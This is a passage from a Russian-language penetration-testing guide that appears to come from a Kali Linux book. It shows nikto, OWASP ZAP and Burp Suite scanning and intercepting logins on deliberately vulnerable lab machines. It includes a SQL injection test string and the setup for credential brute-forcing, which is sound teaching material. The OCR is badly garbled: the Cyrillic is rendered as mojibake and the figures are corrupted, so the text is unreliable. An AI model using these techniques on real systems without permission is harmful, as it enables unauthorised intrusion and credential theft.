OcHoBbIBasich Ha WH(MOPMAIIUH, KOTOPYIO MBI MTOJYYaeM U3 PE3yIbTaTOB PabOTHI
Pa3JIMYHBIX MHCTPYMEHTOB, MBI MOKEM OIPE/IEJTUTh HAlpaBJeHue Hallell aTaku JIJIst
MOJIyYEHUS TOCTYTIA K CUCTeMe. JTO KacaeTCd U aTak Ha TapoJiv, M U3BICYCHUS TAHHBIX
u3 6a3 JAHHBIX WIH U3 CAMOMN CHCTEMBI.

nikto

nikto — 6a30BbIil ckaHep GesomacHocTr BeG-cepBepa. OH CKaHUPYET U OOHAPYKUBAET
VA3BUMOCTHU B BeO-IIPUJIOKEHMAX, OOBIYHO BbI3BAHHbIE HEIPABUIbHON KOH(DUIrypanu-
eil Ha caMoM cepBepe, (aillaMu, yCTaHOBJEHHBIME 110 YMOJIYaHUIO, U HeGe30MaCHbIMU
(baitmamu, a TaKKe yCTapEeBIIMMEU CEePBEPHBIMU TPUTOKeHusIMuU. [Tockosbky nikto mo-
cTpoen uckmounTenbio Ha LibWhisker2, on cpasy mocie ycTraHOBKE IOAAEPKIBAET
Kpocc-TmaTdhopMeHHoe pa3BepThiBanue, SSL (kpurrorpadmuyecKkuii TpoTOKOJ, KOTOPBIH
nozipasymMeBaet 6oJiee GE30MACHYIO CBsI3b), MeTO/bI ayTeHTH(GuKanuu xocta (NTLM/
Basic), npokcu 1 HeCKOJIbBKO METO/IOB YKJIOHEHUs OT ujienTudukatopoB. OH TaKKe 1o/1-
JIepP;KUBAeT TepPedrcieHre TOAI0MEHOB, IIPOBEPKY GesonacHocTr npusokeruii (XSS,
SQL-uHBEKITMY ¥ T. [.) ¥ CIOCOOEH ¢ MOMOIIIBIO aTaKHW TapoJieil Ha OCHOBE CJIOBapsI
yTa/IbIBaTh yUeTHbIE JaHHbIE aBTOPHU3AINH.

Jluist samycka ckanepa nikto orkpoiite meHio Applications » 03 — Web Application Ana-
lysis » Web Vulnerability Scanner » nikto (TTpusioskerust » Ananus BeO-nipuiioskenuii » CkaHep
BebO-ysi3BrMocTeii » nikto) iy BBeAnTe B KOMaHAHYIO CTPOKY TEPMHUHAIA KOMaH/LY:

# nikto

nikto TakXxe MOXHO Nerko HawTu, BbIOpaB KOMaHAy OCHOBHOIO MEHI0
Applications » Vulnerability Analysis » nikto (MpunoxeHus » AHanu3 ya3su-
mocTel » nikto).

ITo ymorganuio, Kak paHee OBLIO MOKa3aHO B APYTUX TPUIOKEHUSIX, TPU OOBITHOM
3aIlyCKe KOMaH/bl 0TOOPa’KAIOTCS Pa3IMdHbIe AOCTYIIHbIE apaMeTphL. [/ ckaHupo-
BaHUsI 1[eJIU BBeAUTE nikto -h <yeas> -p <nopm>, e <yens> — nomen uian IP-aapec
IIeJIEBOTO caliTa, a <nopm> — MOPT, HA KOTOPOM 3aMyIICH CEPBHC.

Ilesbio aTOrO CKAHMpPOBaHU TIpUJIOKeHreM nikto Oymer JoKaabHAs BUPTyasbHast
mammHa OWASP BWA (noctymna 1o agpecy https://sourceforge.net/projects/owaspbwa/
files/). OWASP BWA — ato Habop mpeHAMEPEHHO YSI3BUMBIX BEO-TIPUIIOKEHU, CO-
OpaHHbIX Ha OIHOI BUPTyanbHOI MamuHe Ha Gaze VMware (puc. 10.1).
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root@kali:~# niklo -h 192.168.8.19 -p 8@
L

Target IP: 192.168.08.19

Target Hostmame: 192.168.08.19

Target Port: 88

Start Time: 2018-09-83 BO:008:25 ([GMT-4)

Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.3@ with Suhosin-Patch proxy_html/3.e.1
mod_pyLhon/3.3.1 Pylhon/2.6.5 mod_ssl/ 14 OpenSSL/@.9.8k Phusion_Passenger/4.0.38 mod _perl/2.8.4 Perl/y

16.1

erver leaks inodes via ETags, header found with file f, inode: 286483, size: 2BB67, mtime: Thu Jul 38 2

:55:52 2015
The anli-clickjacking Frame-Oplions header is nol presenl.
The X-XS5-Protection header is not detined. This header can hint to the user agent to protect against sof
me forms of XS5
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of tf
he sile in a differenl Tashion Lo Lhe MIME Lype
+ DSVDB-3268: fcgi-bin/: Directory indexing found.
+ scrossdomain.xml contains a full wildcard entry. See http://jeremiahgrossman.blogspot.com/2808/085/crossd
omainxml-invites-cross-site.html
+ mod_mono/2.4.3 appears Lo be ouldaled (current is al leasl 2.8)
+ Perl/v5.18.1 appears to be outdated (current is at least v5.14.2)
+ proxy_html/3.08.1 appears to be outdated (current is at least 3.1.2)
|+ Phusion Passcnger/4.0.38 appears to be outdated (current is at least 4.0.53)

Puc. 10.1. 3anyck npunoxeHus nikto, HaLeneHHOro Ha NokanbHyto BUPTYanbHyto MalmnHy OWASP BWA

Kax Buzum Ha puc. 10.1, B nepsbix crpokax nikto coobuiaer nam IP-azpec u ums
1esieBoii MarmteL. ITocie ocHOBHON MH(MOpMaIKK O 11eJIeBoil MalnHe nikto BeIBOAMT
CBejIeH s O 3amylieHHoM B cricteMe Ubuntu Beb-cepsepe 1 ero Bepcuu Apache 2.2.14 ¢ He-
KOTOPBIMU 3aTPy;KeHHBIMU MOy isiMu. Hampumep, mod_perl/2.0.4 1 OpenSSL/0.9. 8k.
Ha puc. 10.2 nokazan nyts k nanke CGI (/cgi-bin/) 1 BuaHO, 4TO HEKOTOPbIE U3 3a-
TPY’KEHHBIX MOJIYJIeN ycTapesu.

+ 0SVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databa
ses, and should be protected or limited to authorized hosts.
+ 0SVDB-3268: /test/: Directory indexing found.

+ 0SVDB-3092: stest/: This might be interesting...
+ 0SVDB-3092: /fcgi-bin/: This might be interesting... possibly a system shell fo
und.

Puc. 10.2. ®parMeHT C yKasaHWEM Ha yCTapeBLUME 3arpy>KeHHbIE MOAY N

Hasee B pesybrarax nikto orobpaskaer kogbt OSVDB. OSVDB — a10 ab66pesurarypa
6a3bl JAHHBIX YA3BUMOCTEN € OTKPBITHIM UCXOAHBIM KOAOM. DTa MHUIMATHBA Oblia o(u-
[MAJIbHO HaYaTa clrenuaircTaMu B obactu 6esomactoctu B 2004 rogy u 1mpejcrasiisijia
co6oii 6a3y JaHHBIX, B KOTOPOil XpaHUIach TeXHUUECKast MHAOPMAI 00 YA3BUMOCTSIX
B obJiactu GesonacHoctu (nojassisgioniee OOIbITMHCTBO U3 HUX ObLIM CBA3aHbI ¢ BeO-
npunoxkenusimu ). K coxkanenuio, n3-3a oTCyTCTBUS MOJJIEPKKNA U B3HOCOB CEPBUC
nepecraj paborats B anpese 2016 roga. Oxnako komanaa CVE (http://cve.mitre.org)
CKOMITMJIMPOBAJa CIIPaBOYHYIO KapTy, KoTopas cchinaetcs Ha 3ammcu OSVDB 8 CVE
(http://cve.mitre.org/data/refs/refmap/source-OSVDB.html). Ty KapTy MOXKHO UCIIOJIb30BAThH
IS TIoJydeHus OoJiee moapoOHoii nHbopMaln o kogax OSVDB, npenocraBieHHbIX
nikto (puc. 10.3).
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CVE Reference Map for Source OSVDB
Source  |USVDE |
Description|Open Source Vulnerahllity Databhase (OSVDE) entry
URL htte: Mogvdb.orgl

Notes

This mtereno.n. map lists the various reterences for OSVDE and provides the assoclated CVE enfries or candidates. Tt uses data
from CVE version 20081101 and cendidates that were active as of 2019-06-11,

Mote thal the list of references may nolt be complete,

OSVDB:100007)[CVE-2013-6796

OSVOE: 10001 ||GVE-2004-
CEVDE:100030)| CVE- 201 3-0936
OSVDE: 1001 WE-1999-041 7

OSVDE: 1001 06| CVE-201 3-6374
OSVDE: 1001 13)(CVE-2013-41 64
OSVDE: 100191 ||CVE-201 3-6795
OSVDB:10023 ||CVE-2004-1689
(OSVDE: 100342 | CVE- 3-421;

OSVDE: 100363 CVE-201 3-4558
OSYDE: 100364 CVE-201 3-4505
QSVDE: 10037 ||CVE-2004-2475

Puc. 10.3. Mony4yeHve 6onee noapobHoit MHbopmMaLmm

Ckanep nikto 1mo3BoJister HAeHTU(MUIMPOBATD YSI3BUMOCTH BeO-IPUIIOKEHU, TaKie
Kak packpeitTue nHdopmaruu, nHbekius (XSS/Script/HTML), ynanenssrii monck
(aiisnioB (Ha ypoBHe cepBepa), BEITIOJIHEHNE KOMaH/[ 1 UAeHTUMOUKAIIS TPOTPAMMHOTO
obecrieuenus. B pono/iHeHNe K MOKa3aHHOMY paHee OCHOBHOMY CKaHMpOBaHMio nikto
MTO3BOJISIET UCITBITATENIO HA TPOHMKHOBEHNE HACTPOUTHh CKAHUPOBAHME KOHKPETHOM
1esi. PaccMoTpuM napaMmeTpbl, KOTOPbIE CIe/lyeT UCTIOIb30BaTh IPU CKAHUPOBAHWH.

O VxkasaB mepekaiodaTes b KOMAHIHOW CTPOKA -T € OTAEJbHBIMU HOMEPAMU TECTOB,
MOKHO HACTPOUTDH TECTUPOBAHNE€ KOHKPETHDIX THUITOB.

O Wcrnonb3ys npu TeCTUPOBAHUU TTapaMeTpP -t, BBl MOJKETe YCTAHOBUTH 3HAYEHUE
TaiiM-ayTa JIJId KasK/I0TO OTBeETa.

Q Ilapametp -D V y1paBJ/isieT BbIBOZOM Ha 9KPaAH.

O IlapameTpsl -o U -F OTBEYAIOT 3a BEIGOP (hopMaTa oTyeTa CKaHMPOBAHUSI.

CyniecTBYIOT ¥ IpyTHE MapaMeTphl, TakKWe Kak -mutate (yraabiBaTh MOTOMEHBI,
(baiisibr, KaTaJoru U UMeHa TIoJIb30BaTelell ), -evasion (00XoauTh GUIBTP MAEHTU(DUKA-
TOPOB) 1 -Single (JIIsT OIMHOTHOTO TECTOBOTO PEKMMA ), KOTOPBIE MOSKHO UCTIOIb30BATh
1Tt yTIyOIEHHO OTIEHK TIENTH.

OWASP ZAP

OWASP Zed Attack Proxy (ZAP) — cxaHep ysI3BUMOCTEl BeO-TIPIIIOKEHI, CO3IaHHBII
npoektoM OWASP u nmeroruii 60/1bInyo GyHKIHOHAIBHOCTD, ITO CKaHeP € OTKPHI-
TBIM UCXO/THBIM KOJIOM, OCHOBAHHBIH Ha sI3bIKE TIPOTPAMMUPOBAHUS Java.

ZAP BkitodaeT B cebs1 MOMCKOBBIE poOOTHI (KpayJiepsbl), BBIIOTHIECT HACHTU (M-
KaIMio yA3BUMOCTE 1 aHATN3 Pa3MBITHS 1 MOXKET CIY/KUTh B KAUeCcTBe BEO-TTPOKCH.
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Jlna 3amycka ZAP nepeiinure B pasnen Applications » Web Application Analysis » owasp-zap
(Ilpunoxkenus » AHanus BeO-NPUIOKEHNUI b Owasp-zap) WU BBEANUTE B KOMaHIHYIO
cTpoky TepmuHaia komauay (puc. 10.4):

# owasp-zap

OWASP ZAP e 60 O

OWASP ZAP .

270

ZAP Tips and Tricks:

Want to chat to someone about ZAP?
Many of the ZAP core developers hang out on
irc:ffirc.mozilla.org #websectools

ed pattern.

INFO: loaded filter Send ZAP session request ID
INFO: Initialzing Allows ZAP to check for updates
INFO: Initializing Options Extension

TNFO: Toaded Tilter Rep ace HITP response 1eader using defin

-

Puc. 10.4. CkaHep owasp-zap 3anyLieH

[Tocue 3arpy3ku BbI JIETKO MOJKETE 3aMyCTUTh CKAHUPOBAaHUeE I[€JIEBOTO caiiTa.
naBubIit 9xpan ZAP comep:XUT T0JIe 751 BBOJA ajipeca IiesieBoit Mamunbl. Ha aToT pas
1[eJ1b10 OYeT OJHO M3 YI3BUMbIX BEO-IIPUIOKEHMI, HAXOAAINXCS Ha BUPTYaJbHOI
marmmmHe BWA DVW A Tlocsie BBoa ajipeca 11es1eBoii MalmHbl HAKMUTE KHOTIKY Attack
(AraxoBaTb) u cMoTpuTe, Kak ZAP nepeiizer k pabore (puc. 10.5).

URL to attack:

Progress:

| http:47192.168.0.19/dvwa|

|| @ select... |

[ Famack || Hstop |
Mot started

Puc. 10.5. CkaHMpoBaHWe BbIGpaHHOI LieN CKAaHEpOM owasp-zap

Pesy/ibraThl CKAHUPOBAHUS 0TOOPA3STCST B HUJKHEN YacTH OCHOBHOTO 9KpaHa. CHaua-
Jia TIPY CKAaHUPOBAaHUU caiita ZAP BBINOJHUT UAeHTU(DUKAINIO WK 00XOJ BCETO caiita
TI0 CCBLITKaM, CBSI3aHHBIM ¢ y370M (puc. 10.6).
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8 History | S, search | U alerts | | ] output [ 4 spidar g
B 3 New Scan  Progress: [0: hitp:192.168.0.19idvwa =] ] [ 1 ] 1% ] Current Scans:1 | Num requosts:427 ¢ Export

id | Req. Timestamp | Resp. Timestamp [ method | U | Code | Reason |RIT | Sue Resp. Beader | Stw Resp. Body  |f4]
25 WA, 12:44:29 AM SIIVLB, 12:44:29 AM GET http=y192.168.0.19 dvwardvwa 301 Moved Per.. 12 ms 420 bytes 238 bytes

26 WI1E, 12:44:29 AM #3718, 12 M GET hitp:192.168.0.19 dvwaldvwaicss 301 Moved Per.. 4ms 424 bytes 242 bytes

27 WN1B, 12:44:29 AM 87318, 12; AN GET http:f192.168.0.19/dvwaldvwalquery=ci6IA... 200 OK 18 ms 358 bytes 1.417 bytes
28 U318, 12:44:39 AM  9/318, 17:44:29 AN GET Pa192,168.0, ¥ 200 Ok 23ms 579 bytes 1,224 bytes
39 WALE, 17:44:70 AM  WEIE, 1744:30 AN GET http: 1680, L MIF... 00 0K Bms 358 bytes 1.417 bytes
30 WAL 12:44:20 AM QG 12:44:20 AM GET h 168.0, CHdA.. 200 OK Sma 350 bytes 1.417 bytes
31 W18, 12:44:29 AM 87318, 12:44:25 AM GET http:f192.160.0.19/dvwalquery=.. %21, . %2F ... 200 OK 23 ms 579 bytes 1.224 bytes

Alerts PO B 93 A0 Current Scans

Puc. 10.6. MepBbili LWar, BbINOHAEMbIV NPU NPOBEPKE caiTa ckaHepoM ZAP

[Tocse o6xoxa caiita ZAP IpoBOAUT Psiji PasJINUHBIX IIPOBEPOK Ha HAJIIMUKeE OOIINX
ya3BUMocTell BeO-tiputokennit. OHu ykasaHbl Ha BKaagke Alerts (OtoBerienus) B Jjie-
BOM HuzKHeM yriry. Hanpumep, Ha puc. 10.7 mpuBenensr y93BUMOCTH, BbIsiBieHHble ZAP
B npuioskennn DVWA.

[ i History T &, search | Output T ¥ Spider

e J
¥ [ Alerts (6)
» [ SOL Injection
» [ Directory Browsing (3)
» [ X-Frame-Options Header Not Set (2)
» [ Cookie No HttpOnly Flag {4)
» [ Web Browser XSS Protection Not Enabled {4)
» [ ¥-Content-Type-Options Header Missing (5)

Puc. 10.7. Ya3BMMOCTK, BbisiBNEHHbIE ZAP B npunoxexHun DVWA

3areM BbI MOKETE yKa3aTh KOHKPETHbIE IIyTH CaiiTa, 4T0Obl TOUHO OIPEAEIUTD, IJIe
9TH ySI3BUMOCTHU IIPUCYTCTBYIOT. B aTOM ciryuae Mbl BUiuM, 4To haiti login. php ys3Bum
st SQL-unbekiuit (puc. 10.8).

5 History | @, Search M} || Output | %% Spider | D Active Scan | = |
® @ SOL Injection i
@ o Aepaoz.600 p——
¥ L Alerts (8) Risk: f High
¥ B S0 Injection \canfidenees Modium
- ! 2 Parameter: query
* P Directary Browsing (3) [ALtacks guery’ AND '1'="1
= B X-Frame-Options Header Not Sat (2) Evidence:
* ¥ Cookie No HitpOnly Flag (4] ICWE ID: B9 |
» R Web Browser XS5 Protection Not Enabled (4) wasci: 19
» U X-Content Type Options Header Missing {5) Source:  Active (40018 - SQL Injection)
Descri 5
5QL injection may be possible.
b |
- :
AN i e

Puc. 10.8. OnpegeneHbl KOHKPETHbIE MyTW calTa C yA3BUMOCTSMU
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CkaHMpoBaH1e — BCEro /InLLb BUAMMas YacTb BCcex dyHKUuiA ZAP. Ans nony-
YeHust A0MNOHUTENBHON MHGOopMaumMmn o ZAP obpaTtutech no aapecy https://
www.owasp.org/index.php/ZAP.

Burp Suite

Burp Suite npencrasisier co60ii HaboP MOIIHBIX HHCTPYMEHTOB Ge30TmacHocTH Beh-
MIPUJIOKEHWH, KOTOPbIe IeMOHCTPUPYIOT PeabHble BO3MOKHOCTHU 3JI0YMBIILIEHHUKA,
MPOHUMKAIONIErO B BeO-MPUITOKEHUA. ITH HHCTPYMEHTHI TIO3BOJIAIOT CKAHUPOBATH,
AHAJIM3UPOBATH W UCIIOJIB30BATh BEO-MIPUITOKEHVSI C TIOMOIIBIO PYYHBIX ¥ aBTOMATHYE-
CKHUX MeTO/I0B. HTerpanus naTepheiicoB STUX MHCTPYMEHTOB 06€CTIEYNBAET MOTHYIO
mwraThopMy aTaku st oOMeHa nHbopMaIeil MeKIy OJHIM UM HECKOJbKUMY WH-
CTPyMEHTaMM, 4To JiesiaeT Burp Suite ouenb aphekTUBHOI U TPOCTOI B UCTIOTH30BAHUT
11aThOpPMOIL I aTaKK BeO-IIPUIIOKEHHM.

g samycka Burn Suite BeiGepure KoMmaHay MeHio Applications » Web Application
Analysis » burpsuite (ITpuioskeHus » Axajms BeO-IpuIoKeHuii » burnsuite) uim BBegure
B KOMaH/IHYIO CTPOKY TepPMIHAJIA CIEAYIONIYI0 KOMAHIY:

# burpsuite

[Tpu iepBOM 3amycKe BaM OYIET MPeITOKEHO TIPHHSTH YCIOBHSI 1 HACTPOUTD CPEY
mpoekTa (Ha JAaHHBIT MOMEHT MOKHO OCTaBUTh HACTPOIKH 1o ymosdannio) (puc. 10.9).

Burp Suite Community Edition v1.7.36 - Temparary Project e o
Burp intruder Repeater Windew Help
et | proxy | swder | scanner | iruder | Repeater | sequences | pecoter | comparer | Extender | project upbars T user sotiors T iens |
Filter: Hding ret foumd fEms; hiing C55, image and general binary coment: hiding dxx responses; hiding emety folders ]@
Hoat [ Meited JumL |Poroees |Bbwbusioa]Lonsth |MMEtvoe  |Tide | Sommant
al F e
S
&
-
ol
L3
L= (2] [5] [rrwe o search mem o matghes

Puc. 10.9. Meps.biii 3anyck Burn Suite

Ha sxpane nogsutcst okao Burp Suite. Bee nnterpupoBannbie mHCTPYMeHTHI (Target
(Ilenn), Proxy (ITpokcu), Spider (ITayk), Scanner (Ckanep), Intruder (3710yMBbIIIIJIEHHUK ),
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Repeater (Perpanciarop), Sequencer (ILiranmposink), Decoder (/lekonep) n Compared
(Cpaszenue)) OyayT ZOCTYIIHBI HA OTAEAbHBIX BKJIaAKaX. Bbl MoskeTe 1101y4unTh Hosiee
nopobHyYI0 WHbOpMANUo 06 UX MCIOMB30BAHUN ¥ KOH(MUTYPAIMH, BLIOPAB KOMAaH/LY
Mmenio Help (CripaBka) wiiu moceTus cailT http://www.portswigger.net/burp/help/.

O6pature BHMManue, uto Burp Suite gocrymnen B Tpex Bepcusx: Free (Community),
Professional u Enterprise. B Kali ycranossiena sepcust Free (Community).

Burp Suite mocrasJisietcst O BCTPOEHHBIM OUCKOBBIM pobotoM Spider. Ito mipu-
JIOJKEHUe, TIPEJICTaBIIsToNTee 13 cebst 60T, CHCTEMATIYECKH TPOCMATPUBAIOTITHH TETEBOT
caiiT BMeCTe CO BCeMU BHYTPEHHUMHE CTPAHUIIAME U OTOOPAKAOIIUI €T0 CTPYKTYPY.

B namtem npumepe Mot GyJ1eM UCIIOIB30BaTh Burp /uist B3ioMa y4eTHbIX JaHHBIX, 4TO-
6BI TOTYInTD TOCTYT K punokennio DVWA. JI7ist aToro HaM cHavasa motpebyercst Ha-
CTPOUTH IIPOKCH-cepBEp U yoeauThes, 4to st IP ycranosieHo 3Havenne localhost IP,
a HoMep I1opTa — 8080.

Ortxkpoiite Bkiaaky Proxy (ITpokcn). Ha Heii Bbl yBUMTE HECKOJIBKO BJIOMKEHHBIX
BKJa0K (puc. 10.10).

Hurp Inruder Aepeater Window Help

Target '.r:- Y - Scanner | Intruder | Repeater T!‘lnlucnn:r Tl)cmckr Tl:wnnlrcr T Extender TFW.'I:G aptions T User aptians | Alerts I
Intercept | HTTP histary | WebSackets histary m]

[7) Proxy Listeners

Jr

(@) Burp Proxy uses listeners to receive incoming HTTR requests from your browser. You will need o configure your browser o use ane of the listeners as ils proxy se

[ Add ] [Running  [interface [imvisible [ Redirect Gertficate
127.0.0.1.8080 =] Per-host
[ Remove > y

Puc. 10.10. Bknagku, BnoxeHHble BO Bkaaky Proxy (Mpokcn)

Ortkpoiite BrIaaky Intercept (ITepexsaT) u B IIEpBYIO 04Yepeb yOeuTech, 4To (hyHKIIUS
repexBaTa BKJIoueHa (HaxkaTta kHorka Intercept is on (Ilepexsat Ha)) (puc. 10.11). [lanee
otkpoiite Bkaagky Raw (HeoOpaboraHHbie) U IIPOBEPHTE, UTO Ha HEell yKasaH [epexBar.

{Target I:_Frﬂ)gf-_.T Spider Ts-canner T Intruder T Repeater TSEquencer TE

j_l[}_tg_r'cgyp;]' HTTP history TWEbSockets history TOptions ]

l_ Forward | l Crop | [ Intercept is on ] | Action

iR i |

Puc. 10.11. HacTpolika nepexsaTa

[Tocsie 3aBepiiieHnst ATUX HACTPOEK OTKPoiiTe Gpaysep u mepeiaure B paszuen Opti-
ons » Preferences » Advanced » Network » Connection Settings (ITapamerpsr » Hactpoiiku » [{o-
nosauTeBHO P CeTh » HacTpoitku mojiKIiouennst).
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Ternepb BaM Hy»KHO HACTPOUTH Gpaysep JJIsA CBOEro mpokcu-cepsepa (puc. 10.12).

Connection Settings LS

Configure Proxies to Access the Internet
() No proxy
() Auto-detect proxy settings for this network

(:) Use system proxy settings

>

@) Manual proxy cenfiguration:

HTTP Proxy: [ 127.00.1 |Port:|  goso [5]|
D Use this proxy server for all protocols

SSL Proxy:| |Pgrt:| 0 IZI|

FTP mey:| ‘Pnﬂ:‘ 0 EI‘

SOCKS Host: | |Port:| o H

Foin. Y

() SOCKSv4 (@ SOCKS v5

Puc. 10.12. HacTpoiika npokcu-cepeepa

ITOo TIpeABapuTeIbHAS HACTPOIKA. Terepb HaM HY’KHO ITOCETUTD 11eIeBOH caiiT. B Ha-
IIeM CJIyJae IeJieBbiM caiitom Oyzet 192.168.0.32/dvwa (puc. 10.13).

/Q Connecting... x\+

& | (D] 192.168.0.32/dvwa

Bl Offensive Security "%, Kali Linux % Kali Docs " Kali Tools & Exploit-DB Wy Aircrag

INT v | = @& S5Qlv XS5v Encryption~ Encodingv  Otherw
=) Load URL
% Split URL
(v} Execute

[]Enable Post data [ ]Enable Referrer

Waiting for 192.168.0.32...

Puc. 10.13. Agpec LeneBoro caiita BBeeH B aipecHol cTpoke 6pay3epa
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Bpay3ep AOJIZKEH OCTaBaTbCA B PEIKUME TTO/IKJIIOYECHMA. Ho ecotn TIOCMOTPETDb Ha NH-

tepdeiic Burp Suite, BbI yike yBUjHTeE JaHHbIE, KOTOPBIE TTPOrPAMMa CMOTJIA MTOJIYYUTh
(puc. 10.14).

[-Target M Spider TScanner T Intruder T Repeater TSequencer T Decoder T-Cnmparer T
M HTTP history TWEbSockets history TOptions ]

Request to http://192.168.0.32:80

v (o ) (@

@ Headers | Hex

GET fdwwas HTTP/1.1
Host: 192.168.8.32

User-Agent: Mozillas5.0 (X11; Linux xB6_64; rv:52.0} Gecko/20100101 Firefoxs52.0
Accept: textshtml,application/xhtml+xml,applications/xml;q=0.9,*/%;0=0.8
Accept-Language: en-US,en;g=068.5

Connection: close

Upgrade-Insecure-Requests: 1

Action ]

Puc. 10.14. lMepBble faHHbIE NOMyYeHbI

[Tocye HecKOMBKMX HaxaTuii KHOKM Forward (Brepen) Gpaysep sarpysut Be6-
crpanuiy. B Burp Suite Ha Bkiake Target (Llesib) Temeps y Bac OyayT HEKOTOPbIE JaH-
Hble Ha BHyTpeHHel BKIaaKke Site map (Kapra cafita) (puc. 10.15).

Burp Suite Free Editlon v1.7.26 - Temporary Project
Burp Intruder Repeater Window Help

_[TI'IIET Proxy T Spider T scanner T intruder T Repeater T sequencer T Decoder Tcumnar!r T Extender T Project cpuions T User opuons T Alerts ]
e L]

| Filver: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx respanses; hiding empty folders

@
Host | Method | URL | Params | Status | Length | MIME by,
[ dvwa hitp:/192.168.0.32 GET Idvwallogin.php [m] 200 1599 HIML
_'_r'- dvwa http:/f192.168.0.32 GET fdvwa a 301 546 HTML
* @ hitpoidetectportal firefox.com hitp4/192,168.0.32 GET Jewwal O 302 245 HTML
3 http:iiwww.wi.org
- - T
'J MT Response ]
I - Params Iﬂcmr: Ich I
GET /dvwa/Login.php HTTR/1.1 A
Hast: 192.168.0.32 -

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html.application/xhtmlexml.application/xml:q=0.9.%/%:q=0.8
Accept-Language: en-US, en;q=0.5

Coskie: security=high: PHPSESSID=b31183fe9da445c4dc0fbB2908570649

Connection: close

Upgrade - Insecure-Heguests: 1

() () () () [T zeorcn o 0 matches

Puc. 10.15. MNepBble faHHble BKaaku Site map (KapTa caiTa)
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[IesakHUTE TPABON KHOMIKON MBI Ha XOCTE ¥ BHIGEPUTE B TIOSBUBIIEMCS MEHIO
KoMaHy Spider From here (Spider orcioga) miu Spider From Host (Spider us xocra).

Terepb BbI JOKHBI YBU/IETH BCILIBIBAIONIEE OKHO, YKa3biBaolee, uro Burp Spider
Haies (opMy, 3alipaliBaollyio Hekotopylo nuudopmanuio. [lomuure, yto dhopmbl
MOTYT 3alpalinBaTh yYeTHbIC JaHHBIE OJB30BATEIS WU JKe OBITh IPOCTHIMU (hOpMaMIt
oucKa/3arpoca,/Bxoa.

C yueToMm BbIlIIECKa3aHHOTO MbI 1ToTy4uM hopmy Bxoja (puc. 10.16).

Burp Spider - Submit Form e e O

Burp Spider needs your guidance to submit a login form. Please choose the value of 2ach form field which should be used when
submitting the form. You can control how Burp handles forms in the Spider options tab.

Action URL: http://192.168.0.32/dvwa/login.php

Method: POST
Type Name Value
Password password
Submit Login=Loqin
Text username

[ Submit form ] [ lanore form ]

Puc. 10.16. ®opma Bxoada

Bepuemcs Ha Halty cTpaHuily, OTKPBITYIO Ha 11eieBoM caiite. CreHepupyeM Tpaduk,
KOTOPBIM BOCIIOJIb3YeTCsl MHCTPYMeHT — Hapyinutesb Burp Suite. /lns1 aToro B hopme
BXO/Ia HA CTPAHUIIE BBEJIEM CJIyYallHbIE YUETHbIC JIaHHbIE.

[Tocsie BBO/Ia yUeTHBIX JAHHBIX IOCMOTPUTE, KAKIE CBEJIEHUsI CMOT 3aXBATUTh Iepe-
xBaTuuk (puc. 10.17).

4[ Intercept T HTTP history TWebSnckes history Tcptinns ]

. Reguest to http://192.168.0.32:80

[ Forward ] [ Drep ] ['In_he_'rce;_')t is‘nnf] [ Action ]

J_: ,,}T Params TH:eaders Hex

POST /fdwwa/login.php HTTR/1.1

Host: 192.168.08.32

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
Accept-Language: en-US,en;qg=0.5

Referer: http://192.168.0.322/dvwa/login.php

Cookie: security=high; PHPSES5ID=b31183fe3d4445c4dcAfEe82908510649
Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlenceded

Content-Length: 43

username=admin&password=wrongpassword&lLogin=Login

Puc. 10.17. [JaHHble, 3axBaYeHHbIE NepexBaTyMKoM
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OGparyTe BHUMaHKE HA TI0JYYEHHYIO KII0UeBYI0 MH(DOPMAIIUIO: MMsI I10JIb30BaTe s
u napoJib. [IpoBepbTe MoJIyYeHHbIe JaHHbIE, BBEISI KX B COOTBETCTBYIOIIIE (GOPMbI BEG-
crpanutipl. [locie mpoBepKU BbI YBUIUTE, YTO TIOJYYEHHbBIE JJAHHbIE HETIPABUIbHBIE.
B sTOM ciry4ae B IIpOCTOM CTPOKOBOM COOOLIEHUH BbI IIOJYYUTE HH(MOPMALUIO O TOM,
4TO JIOTUH Hox00pan HenpasuiIbHo. OIHAKO TaKOe COOOIIEHNE MOKET MOSBUTHCS U BO
BCILIbIBAOLEM OKHe uin (aiise cookie.

Tenepp meJIKHUTE ITPABON KHOIKON MBIIIN Ha 1[EJIEBOM XOCTe ¥ BbiOepure B 110-
SBUBIIEMCS KOHTEKCTHOM MeHI0 KoMaHay Send to Intruder (OTIpaBUTH 310y MBIIILITIEH-
HUKY).

Ha Bkuazike Intruder (3s10yMbIIIIEHHUK ) 1IIeJIKHUTE Ha BHYTPeHHel BKJIajiKe Positions
(ITozummm) (puc. 10.18).

(2= gl ...
[angrl Th"lﬂ' ans TPnylunll\ Tﬂplinn\ ]
[ﬂ Payload Positlons Start attack
Configure the posilions where payloads will be inserled inlo the base request. The allack lype delermines the way in which payloads are assigned
to payload positions - see help for full details.
Attack type: [Sniper 7]
POST /dwwn/lagin.php HTTR/1.1 ry | Add § ]
Host: 197.168.8.37 P
User-Agent: Mozillas5.0 (X11; Linux xB6 &4: rv:52.8) Gecke/20100101 Firefox/52.9 i
hccept: text/html,application/xhtnlsxml,application/xml;a-0.9,4/4;0-0.5 | Ll ]
Acccpt Language: en US,cnjg=0.5
Reterer: http://192.168.0.32/dvwa/logan. shp [ auws ]
Cookie: security=high; PHPSIS5T0-re?1h778155511F50a75de529ca20072
Conneclion: tlose l Relresh
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-farm-urlencoded
Lontent Length: 4%
use rnane-Fadminghnassword-Furongpasswo | agin=login
-
hd
2 < + ; = I [Type a search tarm 0 matches I Clear
2 pavioad posions

Length: 524

Puc. 10.18. Bknagka Positions (Mo3numn)

B kauecTBe MMEHH TOJI30BATEIS 1 TAPOJIst YKasaHbl admin 11 wordpassword. OGparuTe
BHUMAHHE: 10 YMOTIAHUIO MOXKET OBITH BBIIEJIEHO MHOTO HEHYKHBIX B TAHHBIN MOMEHT
